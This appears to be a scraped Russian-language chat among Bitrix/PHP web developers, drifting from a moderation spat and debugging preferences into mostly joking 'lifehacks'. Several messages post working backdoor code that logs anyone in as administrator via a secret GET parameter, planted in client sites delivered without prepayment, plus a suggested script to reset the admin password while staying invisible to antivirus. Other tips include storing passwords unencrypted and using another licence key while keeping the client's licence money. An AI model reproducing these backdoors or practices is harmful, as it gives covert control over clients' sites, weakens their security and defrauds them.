Александр
Антон
- Запрещено оскорбления других участников
бан!
Kirill
Антон
Да, надо уметь понимать где шутки Саша, надеюсь ты вынесешь для себя урок
Александр
Kirill
Александр
Да вообще похрен)
Александр
Да, надо уметь понимать где шутки Саша, надеюсь ты вынесешь для себя урок
Александр
Ты сейчас с копипастой разговариваешь)
Антон
Ладно Саша, прости если обидел, можешь тут теперь спокойно общаться
Kirill
Вопрос без трололо - кто чем дебажит? VarDump, Xdebug или что еще?
Антон
Kirill
Kirill
Kirill
Чёт я потерял логику всего происходящего
Антон
Я честно говоря тоже
Megaket4up
Тимур
Что это было сейчас😃😃😃
Ilgiz
Дровосек спорит с бензопилой 😁
Robert
var_dump)))
Kirill
var_dump)))
А почему? Попрбовали дебаггер и не понравилось или не пробовали?
Robert
А почему? Попрбовали дебаггер и не понравилось или не пробовали?
Да как то привык. В условиях когда клиенты обращаются поправить с сайтами написанными еще в 11-14 годах, с заданием добавить какой-нибудь блок и при том еще параллельно проводящими работами другим программистом с их стороны не используя гит, сразу на проде. О каком дебагере может идти речь. 😀
<? if(isset($_GET['dev'])){?> <pre><? var_dump($****); ?></pre> <?} ?> мое все 😀
Антон
#Лайфхак
Если сдаешь сайт клиенту без предоплаты, то можно сделать следующее
if($_GET[‘backdoor’])
{
$USER->Authorize(1);
}
И в любой момент авторизоваться под админом, вы знали?
Robert
Антон
Ок, а если я сделаю фасад над этой штукой?
Robert
сама строка $USER->Authorize(1); палится так
Megaket4up
Megaket4up
if ($_GET['PIPIPUCHECK'])
{
GLOBAL $USER;
$USER->Authorize(1);
}
Антон
Что бы везде это не прописываться, я обычно сразу в init.php вызываю экземпляры нужных мне классов и переменных и делаю их глобальными
Kirill
Megaket4up
Robert
Чтоб сделать себя невидимым антивирусом. Лучше сделать скрипт где можно можно через пост прописать админу новый пароль с предварительным сохранением значения PASSWORD из таблицы пользователей через тот же file put content
Антон
Megaket4up
Лучше не шифровать пароль в базе и все
Антон
Когда работаю с базой напрямую или пишу SQL запросы, то обычно так и кладу. Так как Битрикс очень защищен и шифровать пароль это по сути пережиток прошлого
Robert
Антон
Robert
Сейчас мы тут научим сеньеров 😁
Антон
Если нужно сдавать сайт вчера, а верстка еще не готова, то можно в некоторые участики картинки вставить, которые не интерактивные. А вы чем пользуетесь для того что ускорить сдачу проекта?
Kirill
Robert
Антон
Это крайний случай! Так что не лайфхак
Megaket4up
Антон
Kirill
Антон
#Лайфхак
Если клиент дал деньги на оплату лицензии Битрикса, то можно просто вставить ключ от другой лицензии, а деньги от лицензии потратить на что-то более нужное (например книжка по jQuery)
Kirill
Увидел это
Megaket4up
Kirill
Kirill
потом он правда ушел на телевидение и начал работать на канале Россия, но у него лучшие курсы по вебу
Kirill
Robert
Если верстать лень — переносишь картинки в power point, делаешь переходы и сохраняешь в html
Сохраняем макет из фигма в svg.
в боди пишем <img style="width:100%;" src="home.svg?h1=Заголовок страницы& (другие переменные) ">
Открываем svg открываем через блокнот и расставляем гет переменные где нужно
в .htaccess прописываем чтоб svg обрабатывалось интерпретатором php
Зачем вообще верстать если можно сделать проще?
Для удобства можно все переменные занести в json и обращаться так
<img style="width:100%;" src="home.svg?json=<?=urlencode(file_get_content('data.json'))?> ">
Антон
Robert
а если нужно связать с полями в админке спросите вы?
Я вам скажу, что очень просто сделать это с php. Создаем массив с этими полями и обращаемся так <img style="width:100%;" src="home.svg?json=<?=json_encode($array)?> ">
Антон
Дмитрий, я вижу вы очень опытный разработчик, спасибо за отличные советы 🙏
Robert
Kirill
Kirill
Технология JSinPHP
Kirill
или PHPinJS
Kirill
Кому как нравится
Антон
Кирилл, нужно разделять шаблоны и логику. Для этого я создаю файлы с названием переменных file_put_content(‘/var/www/$arResult.txt’, json_decode(….)) и передалю эту переменную потом в скрытый инпут и от туда уже на JS получаю
Антон
Так будет меньше каши в коде
Robert
у кого еще какие эксемплы есть?
Антон
Технология называется PhpVariablesInFilesGetValueFromInputJS
Kirill
Kirill
Почитал чат...
Антон
Расстроился что столько секретов и подходов к разработке не знал?
Антон
Kirill
Да нет - думал может что серьезное обсудить, но понимаю что не получится.
Kirill
Robert
Kirill
Robert
Все клиенты хотят быстрее. Ну не знаю как у вас, но у меня в основном такой контингент собрался. И заморачиваться в каких то дебагерах тратить на это драгоценные минуты 😀
Robert
@LogarAvrelian у меня теперь есть серьезный вопрос. Стоит задача сделать бэк api по стандарту REST. Это все должно функционировать на хостинге где разрешены только POST и GET.
Robert
Как быть с PUT, DELETE и прочими?